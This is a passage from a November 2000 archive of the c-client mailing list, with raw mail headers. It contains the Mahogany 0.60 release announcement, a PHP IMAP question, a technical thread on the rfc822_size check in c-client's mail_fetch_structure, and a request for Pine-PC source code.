[140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA16770; Fri, 10 Nov 2000 10:07:12 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA315426 for ; Fri, 10 Nov 2000 10:05:46 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA00716 for ; Fri, 10 Nov 2000 10:05:44 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id eAAI5It25809 ; Fri, 10 Nov 2000 19:05:18 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.9.1a/jtpda-5.3.1) with ESMTP id TAA11955 ; Fri, 10 Nov 2000 19:05:18 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA03247 ; Fri, 10 Nov 2000 19:05:15 +0100 Message-Id: <200011101805.TAA03247@seth.lpthe.jussieu.fr> Date: Fri, 10 Nov 2000 19:05:09 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client , "c.o.l.a." , editor Subject: ANN: Mahogany 0.60 GTK+/Win32 mail client with Python scripting MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A new release of the `Mahogany' e-Mail and News client has been made. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Source and binaries for a variety of Linux and Unix systems are available at http://mahogany.sourceforge.net/ and http://sourceforge.net/projects/mahogany/ Binaries for Win32 systems and debian packages will be made available in a couple of days. In this message: 1. Announcing Mahogany Version 0.60 2. Changes against the previous release Announcing Mahogany Version 0.60 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Mahogany is an OpenSource(TM) cross-platform mail and news client. It is available for X11/Unix and MS Windows platforms, supporting a wide range of protocols and standards, including POP3, IMAP and full MIME support as well as secure communicaionts via SSL. Thanks to its built-in Python interpreter it can be extended far beyond its original functionality. Mahogany's wealth of features and ease of use make it one of the most powerful clients available, providing a consistent and intuitive interface across all supported platforms. It aims at supporting GNOME (and KDE for that matter) and includes an extendable address book system supporting hierarchical organisation of entries, group aliases, searching the database and easy editing, with support for other program's address database formats. Currently Mahogany's native format, (X)Emacs' BBDB address books and PalmOS address books are supported. Mahogany is being developed using the OpenSource wxWindows application framework, building on the GTK+ toolkit on Unix. Mahogany is constantly being tested on a variety of Linux system, Solaris-sparc and MS Windows. It should compile and work on any modern Unix platform. Changes Since Release 0.50 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Key changes are: - fixes to all serious bugs from version 0.50 - significantly improved IMAP support: it is now possible to subscribe to all folders on an IMAP server with a single click or to manually select them from a dialog; Mahogany also uses server side message functions when possible resulting in huge performance improvement - new, improved filtering system (warning: old filters won't work any more, contact us if this is really a serious problem for you) - charset and encoding support for message contents and headers (including autodetecting the charset of incoming messages and setting it for the outgoing ones) - mail can be sent using local MDA (sendmail) in addition to SMTP - import of settings and folder collections from Pine and XFMail, vCard support (import/export from addess book, attach to messages) UI improvements: - drag and drop for message copying and moving - "Quick Move" and "Quick Filter" functions - folders now can (finally) be renamed - quoted text highlighting in the message viewer! - sort the messages display by simply clicking on the corresponding column, the sorting dialog also has been improved - folders with new/recent messages are highlighted in the folder tree Other miscellaneous improvements: - it is possible (although still discouraged) to run Mahogany as root - passwords in the config file are encrypted using TwoFish algorithm - option to always use external editor by default - messages from oneself are optionally marked as such - support for password protected SMTP and NNTP servers - more verbose error reporting and detection - OpenSSL loaded dynamically if available - PalmOS module supports AvantGo/MAL synchronisation - templates now may be used for replying/forwarding as well - many other various fixes New experimental features include: - supporting multiple-identities and easy switching between them - support of storing configuration settings on an IMAP server allowing to share them between different machines/accounts Please see the CHANGES file in the distribution for an even more detailed list of changes. Future Plans =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Next, we hope to tackle the following: - improving the message editor (work in progress) - full HTML message editing/displaying (almost complete) - better POP support by using persistent message IDs and flags - multi-threading to allow network operations to happen in background - PGP/GPG support - LDAP support Please direct any queries to mahogany-developers@lists.sourceforge.net and don't hesitate to contact us if you would like to participate in Mahogany development! Known bugs: ----------- There are always some, listed on our bugtracker at http://www.wxwindows.org/m-bugs/ and we are working on them. Hoping you will find Mahogany usefull, M dev-team -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 10 17:40:35 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Nov 2000 17:40:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id RAA11566 for ; Fri, 10 Nov 2000 17:40:34 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA29516; Fri, 10 Nov 2000 17:40:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA14684; Fri, 10 Nov 2000 17:36:19 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA335174 for ; Fri, 10 Nov 2000 17:33:37 -0800 Received: from europa.gatecom.com ([209.69.204.245]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA09587 for ; Fri, 10 Nov 2000 17:33:09 -0800 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id VAA06407; Fri, 10 Nov 2000 21:45:49 -0500 Message-Id: <200011110245.VAA06407@europa.gatecom.com> Date: Fri, 10 Nov 2000 21:45:48 EST Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@u.washington.edu Subject: PHP Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.8 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anyone have any experience with PHP compiled with the imap options? I've been asked to rework some of my prior work with c-client into PHP (ostensibly so others can have an easier time mantaining it). The documentation doesn't appear to be correct on some of the imap functions. Specifically, they say you can not recursively sift through a multipart message and extract each of its parts. That's not true. However, what should be possible is to look at the envelope of encapsulated rfc822 messages contained within those parts, and I haven't been able to successfully do that. What's a piece of cake to do in C sure is a pain in the neck in a higher level language, and it's driving me nuts. If anyone on the list has extracted the envelope of encapsulated messages with PHP, I'd sure appreciate a hint. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 12 05:29:23 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Nov 2000 05:29:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id FAA02138 for ; Sun, 12 Nov 2000 05:29:21 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA08706; Sun, 12 Nov 2000 05:29:19 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA25668; Sun, 12 Nov 2000 05:25:06 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA98932 for ; Sun, 12 Nov 2000 05:23:04 -0800 Received: from neouvielle.enserb.fr (root@neouvielle.enserb.fr [147.210.18.138]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA28132 for ; Sun, 12 Nov 2000 05:23:03 -0800 Received: from enserb.fr (dinh@narrhavas [147.210.18.145]) by neouvielle.enserb.fr (8.9.3/8.9.3) with ESMTP id OAA10614 for ; Sun, 12 Nov 2000 14:22:50 +0100 (MET) Message-Id: <3A0EA7BA.BE5BB889@enserb.fr> Date: Sun, 12 Nov 2000 14:22:50 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "DINH V. =?iso-8859-1?Q?Ho=E0?=" To: c-client Subject: mail_fetch_structure function MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: dinh@enserb.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN around line 1185 in mail.c, there is : (in function mail_fetch_structure) ******************************** 1 if (stream->dtb && ((body && !*b) || !*env || (*env)->incomplete)) { 2 mail_free_envelope (env); /* flush old envelope and body */ 3 mail_free_body (b); 4 /* see if need to fetch the whole thing */ 5 if (body /* || !elt->rfc822_size*/) { 6 s = (*stream->dtb->header) (stream,msgno,&hdrsize,flags & ~FT_INTERNAL); 7 /* make copy in case body fetch smashes it */ 8 hdr = (char *) memcpy (fs_get ((size_t) hdrsize+1),s,(size_t) hdrsize); 9 hdr[hdrsize] = '\0'; /* tie off header */ 10 (*stream->dtb->text) (stream,msgno,&bs,(flags & ~FT_INTERNAL) | FT_PEEK); 11 if (!elt->rfc822_size) elt->rfc822_size = hdrsize + SIZE (&bs); 12 if (body) /* only parse body if requested */ 13 rfc822_parse_msg (env,b,hdr,hdrsize,&bs,BADHOST,stream->dtb->flags); 14 else 15 rfc822_parse_msg (env,NIL,hdr,hdrsize,NIL,BADHOST,stream->dtb->flags); 16 fs_give ((void **) &hdr); /* flush header */ 17 } 18 else { /* can save memory doing it this way */ 19 hdr = (*stream->dtb->header) (stream,msgno,&hdrsize,flags | FT_INTERNAL); 20 c = hdr[hdrsize]; /* preserve what's there */ 21 hdr[hdrsize] = '\0'; /* tie off header */ 22 rfc822_parse_msg (env,NIL,hdr,hdrsize,NIL,BADHOST,stream->dtb->flags); 23 hdr[hdrsize] = c; /* restore in case cached data */ 24 } 25 } *********************************** I commented "|| !elt->rfc822_size" at line 5. may I do that is the condition "!elt->rfc822_size" necessary in mail_fetch_structure ? I wished to do that to make a patch to support TOP command for POP3 in c-client. -- Hoa -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 12 10:36:13 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Nov 2000 10:36:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA22403 for ; Sun, 12 Nov 2000 10:36:12 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15195; Sun, 12 Nov 2000 10:36:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA18182; Sun, 12 Nov 2000 10:35:15 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA386102 for ; Sun, 12 Nov 2000 10:33:49 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (jim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA17960 for ; Sun, 12 Nov 2000 10:33:48 -0800 Message-Id: Date: Sun, 12 Nov 2000 10:30:18 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "DINH V. =?iso-8859-1?Q?Ho=E0?=" Cc: c-client Subject: re: mail_fetch_structure function In-Reply-To: <3A0EA7BA.BE5BB889@enserb.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 12 Nov 2000 14:22:50 +0000, DINH V. =?iso-8859-1?Q?Ho=E0?= wrote: > may I do that is the condition "!elt->rfc822_size" necessary in > mail_fetch_structure ? mail_fetch_structure() guarantees that the elt is fully loaded when it returns. Applications depend upon this. > I wished to do that to make a patch to support TOP command for POP3 in > c-client. In my opinion, it is better to produce IMAP clients instead of wasting time being fancy with a dying protocol like POP. From pinedev@shivax2.cac.washington.edu Sun Nov 12 13:37:32 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Nov 2000 13:37:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id NAA04639 for ; Sun, 12 Nov 2000 13:37:30 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA26232; Sun, 12 Nov 2000 13:37:29 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA29342; Sun, 12 Nov 2000 13:36:29 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA194712 for ; Sun, 12 Nov 2000 13:35:43 -0800 Received: from neouvielle.enserb.fr (root@neouvielle.enserb.fr [147.210.18.138]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA28373 for ; Sun, 12 Nov 2000 13:35:42 -0800 Received: from enserb.fr (dinh@narrhavas [147.210.18.145]) by neouvielle.enserb.fr (8.9.3/8.9.3) with ESMTP id WAA29792; Sun, 12 Nov 2000 22:35:28 +0100 (MET) Message-Id: <3A0F1B37.DF932AB2@enserb.fr> Date: Sun, 12 Nov 2000 22:35:35 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "DINH V. =?iso-8859-1?Q?Ho=E0?=" To: Mark Crispin Cc: c-client Subject: Re: mail_fetch_structure function References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: dinh@enserb.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Sun, 12 Nov 2000 14:22:50 +0000, DINH V. =?iso-8859-1?Q?Ho=E0?= wrote: > > may I do that ? is the condition "!elt->rfc822_size" necessary in > > mail_fetch_structure ? > > mail_fetch_structure() guarantees that the elt is fully loaded when it > returns. Applications depend upon this. It does not answer the question "what is exactly the condition !elt->rfc822_size for ?". I consider that the condition "body" is suffisant to test if we have to fetch the text of the mail or not. > > I wished to do that to make a patch to support TOP command for POP3 in > > c-client. > > In my opinion, it is better to produce IMAP clients instead of wasting time > being fancy with a dying protocol like POP. the problem is that I have no choice about my mail server. It is POP3, that's all. I want to make a mail client that I can use depending my own needs. -- Hoa From pinedev@shivax2.cac.washington.edu Sun Nov 12 17:40:42 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 12 Nov 2000 17:40:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id RAA08483 for ; Sun, 12 Nov 2000 17:40:41 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA31464; Sun, 12 Nov 2000 17:40:39 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA23880; Sun, 12 Nov 2000 17:39:24 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA77214 for ; Sun, 12 Nov 2000 17:38:17 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (suave@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA15320 for ; Sun, 12 Nov 2000 17:38:16 -0800 Message-Id: Date: Sun, 12 Nov 2000 17:32:09 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "DINH V. =?iso-8859-1?Q?Ho=E0?=" Cc: c-client Subject: Re: mail_fetch_structure function In-Reply-To: <3A0F1B37.DF932AB2@enserb.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 12 Nov 2000 22:35:35 +0000, DINH V. =?iso-8859-1?Q?Ho=E0?= wrote: > > mail_fetch_structure() guarantees that the elt is fully loaded when it > > returns. Applications depend upon this. > It does not answer the question "what is exactly the condition > !elt->rfc822_size for ?". I consider that the condition "body" > is suffisant to test if we have to fetch the text of the mail or not. If the rfc822_size is not loaded at this point, then the only way that it can be loaded by the driver is via getting the text of the message. To reiterate: mail_fetch_structure() guarantees that the elt is fully loaded when it returns. Consequently, mail_fetch_structure() is required to ensure that elt->rfc822_size ia non-zero before it returns. The test is correct as it stands. If you want to write a POP3-only client, you may want to use something other than c-client. c-client is focused on IMAP, not POP3; and c-client's IMAP functionalities are not going to be broken to accomodate POP3. From pinedev@shivax2.cac.washington.edu Mon Nov 13 03:52:17 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Nov 2000 03:52:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id DAA25176 for ; Mon, 13 Nov 2000 03:52:15 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA04852; Mon, 13 Nov 2000 03:52:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA43414; Mon, 13 Nov 2000 03:50:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA407852 for ; Mon, 13 Nov 2000 03:49:33 -0800 Received: from rincewind.msc-media.de (pC19F0955.dip.t-dialin.net [193.159.9.85]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA18857 for ; Mon, 13 Nov 2000 03:49:31 -0800 Received: from rincewind.msc-media.de (sven@localhost) by rincewind.msc-media.de (8.8.8/8.8.8) with ESMTP id MAA07749 for ; Mon, 13 Nov 2000 12:49:50 +0100 Message-Id: <200011131149.MAA07749@rincewind.msc-media.de> Date: Mon, 13 Nov 2000 12:49:49 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sven Carstens To: c-client Subject: Re: mail_fetch_structure function In-Reply-To: <3A0F1B37.DF932AB2@enserb.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-Transfer-Encoding: QUOTED-PRINTABLE X-Authentication-Warning: rincewind.msc-media.de: sven owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Am Sun, 12 Nov 2000 schrieben Sie: > Mark Crispin wrote: > >=20 > > On Sun, 12 Nov 2000 14:22:50 +0000, DINH V. =3D?iso-8859-1?Q?Ho=3DE0?= =3D wrote: > > > may I do that ? is the condition "!elt->rfc822_size" necessary in > > > mail_fetch_structure ? > >=20 > > mail_fetch_structure() guarantees that the elt is fully loaded when it > > returns. Applications depend upon this. >=20 > It does not answer the question "what is exactly the condition > !elt->rfc822_size for ?". I consider that the condition "body" > is suffisant to test if we have to fetch the text of the mail or not. mail_fetch_structure is not really intended to fetch the full content of a = given message. It is used to only fetch the structure (ie. the parts contained in that mes= sage) as provided by the imap server (server side processed mail). As RFC2683 states you should consider using only the envelope to populate t= he users view to a mailbox. (Performance) > > > I wished to do that to make a patch to support TOP command for POP3 i= n > > > c-client. > >=20 > > In my opinion, it is better to produce IMAP clients instead of wasting = time > > being fancy with a dying protocol like POP. >=20 > the problem is that I have no choice about my mail server. It is POP3, > that's all. I want to make a mail client that I can use depending my own > needs. >=20 A better way would be to add pop3_fetch_overview (or pop3_fetch_header) dir= ectly to the pop module. This way it would not break interoperability with other cli= ents too easily and might be accepted by Mark one day. I'm using mail_fetch_overview. But Mark says it should only be used for NNT= P. But I ignored him and patched some parts to realy suit me anyway :) . Now I have got the = problem to adapt my patchset to each and every update. CU Sven From pinedev@shivax2.cac.washington.edu Wed Nov 15 07:38:12 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Nov 2000 07:38:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA18255 for ; Wed, 15 Nov 2000 07:38:10 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA26665; Wed, 15 Nov 2000 07:38:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA16438; Wed, 15 Nov 2000 07:36:51 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA368018 for ; Wed, 15 Nov 2000 07:33:21 -0800 Received: from dsdm02002.internet.datamedia.fr (mail.datamedia.fr [212.155.239.64]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA06178 for ; Wed, 15 Nov 2000 07:33:20 -0800 Received: by dsdm02002.internet.datamedia.fr with Internet Mail Service (5.5.2650.21) id <45F9HS6V>; Wed, 15 Nov 2000 16:33:20 +0100 Message-Id: <21ACBAE9C35CD311800D005004869A7533D042@dsdm02002.internet.datamedia.fr> Date: Wed, 15 Nov 2000 16:33:12 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: "C-Client (E-mail)" Subject: can i find Pine-PC source code somewhere ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Can i find Pine-PC source code somewhere ? Thanks, Emmanuel -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 15 08:28:18 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Nov 2000 08:28:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id IAA04702 for ; Wed, 15 Nov 2000 08:28:16 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA28008; Wed, 15 Nov 2000 08:28:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA25802; Wed, 15 Nov 2000 08:27:02 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA76594 for ; Wed, 15 Nov 2000 08:25:53 -0800 Received: from chrome2.apexvoice.com (chrome3.apexvoice.com [206.117.255.11]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA32665 for ; Wed, 15 Nov 2000 08:25:53 -0800 Received: from user (ws-206-117-255-228.apexvoice.com [206.117.255.228] (may be forged)) by chrome2.apexvoice.com (8.9.3/8.9.3) with SMTP id IAA06791; Wed, 15 Nov 2000 08:34:46 -0800 Message-Id: Date: Wed, 15 Nov 2000 08:31:39 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Collins" To: "Emmanuel Sellier" , "C-Client \(E-mail\)" Subject: RE: can i find Pine-PC source code somewhere ? In-Reply-To: <21ACBAE9C35CD311800D005004869A7533D042@dsdm02002.internet.datamedia.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN http://www.washington.edu/pine/index.html > -----Original Message----- > From: C-CLIENT-owner@u.washington.edu > [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Emmanuel Sellier > Sent: Wednesday, November 15, 2000 7:33 AM > To: C-Client (E-mail) > Subject: can i find Pine-PC source code somewhere ? > > > Hello, > > Can i find Pine-PC source code somewhere ? > > Thanks, > > Emmanuel > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Thu Nov 16 21:37:57 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Nov 2000 21:37:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id VAA19622 for ; Thu, 